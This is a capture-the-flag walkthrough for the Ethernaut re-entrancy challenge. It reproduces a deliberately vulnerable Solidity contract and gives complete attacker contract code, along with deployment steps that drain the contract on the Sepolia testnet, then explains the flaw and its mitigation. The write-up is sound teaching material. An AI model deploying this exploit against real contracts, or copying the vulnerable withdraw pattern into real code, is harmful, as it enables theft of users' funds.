Problem statement
The goal of this level is for you to steal all the funds from the contract.
Things that might help:
- Untrusted contracts can execute code where you least expect it.
- Fallback methods
- Throw/revert bubbling
- Sometimes the best way to attack a contract is with another contract.
- See the "?" page above in the top right corner menu, section "Beyond the console"
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Solution
Start with creating a new contract for the current level by clicking on the button, Get new instance
. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.
Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window. This address will be used later.
await contract.address
We should also check the funds of the contract to know how much we will need to steal.
await getBalance(contract.address)
With this information we can continue to next step. Open a new tab in your browser (Ctrl+t) and go to Remix.
In the file explorer, create a new file and name it AttackReentrancy.sol
.
The following code should be added as content for the file.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
interface Reentrance {
function withdraw(uint _amount) external;
function donate(address _to) external payable;
}
contract AttackReentrancy {
address toAttack;
uint donateValue = 1000000000000000; // 0.001 eth
constructor(address payable _address) payable {
toAttack = _address;
}
function initAttack() public {
Reentrance(toAttack).donate{value: donateValue}(address(this));
Reentrance(toAttack).withdraw(donateValue);
}
receive() external payable{
if (address(toAttack).balance != 0 ) {
Reentrance(toAttack).withdraw(donateValue);
}
}
}
Got to the compiler and compile the AttackReentrancy
contract.
When the contract has been compiled it's possible to deploy it to the Sepolia network. This is done in the DEPLOY & RUN TRANSACTIONS
view in Remix. Make sure to use the environment, Injected Provider - MetaMask
. It's also important that we give the contract some funds to be able to make the attack, and the address to the contract (among the first steps in this section).
When the contract has been deployed (you should have signed the transaction with MetaMask), the initAttack
method should be available for us. Push the button with the name initAttack
.
Once again sign the transaction with your MetaMask wallet. Jump back to the web console window when the transaction has been confirmed and check the balance of the contract once more.
await getBalance(contract.address)
If the balance is zero
, then we have succeeded and we can finish the challenge by clicking the button, Submit instance
, to commit and update the progress on the ethernaut contract.
Explanation
The re-entrancy problem is a classic type of an attack, where the DAO Hack is the most famous one.
The sensitive code in the contract is inside this function:
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
A transaction is executed in a single thread synchronously, each operation step by step. However when we use the msg.sender.call
method we will open up a way to make this execution path more dynamic.
In this case, Step 2
, is replaced with the msg.sender.call
, since we are able to deploy our own contract to act as a proxy for our transactions we can add steps to this path.
By doing this we can keep calling the withdrawal method until we got all the funds, which is done in our receive function:
receive() external payable{
if (address(toAttack).balance != 0 ) {
Reentrance(toAttack).withdraw(donateValue);
}
}
The contract that is attacked do not update the balance of the callers deposit until the step after the msg.sender.call
, and we are able to put our withdrawal loop before that. That update will be executed to late in this threads of steps.
balances[msg.sender] -= _amount;
The author of this challenge leaves us with a good summary of how to mitigate these kind of problems.
Resources
- Re-entrancy - This challenge
- Remix - Web based IDE for Solidity
- Solidity - Solidity documentation
- Use the Checks-Effects-Interactions Pattern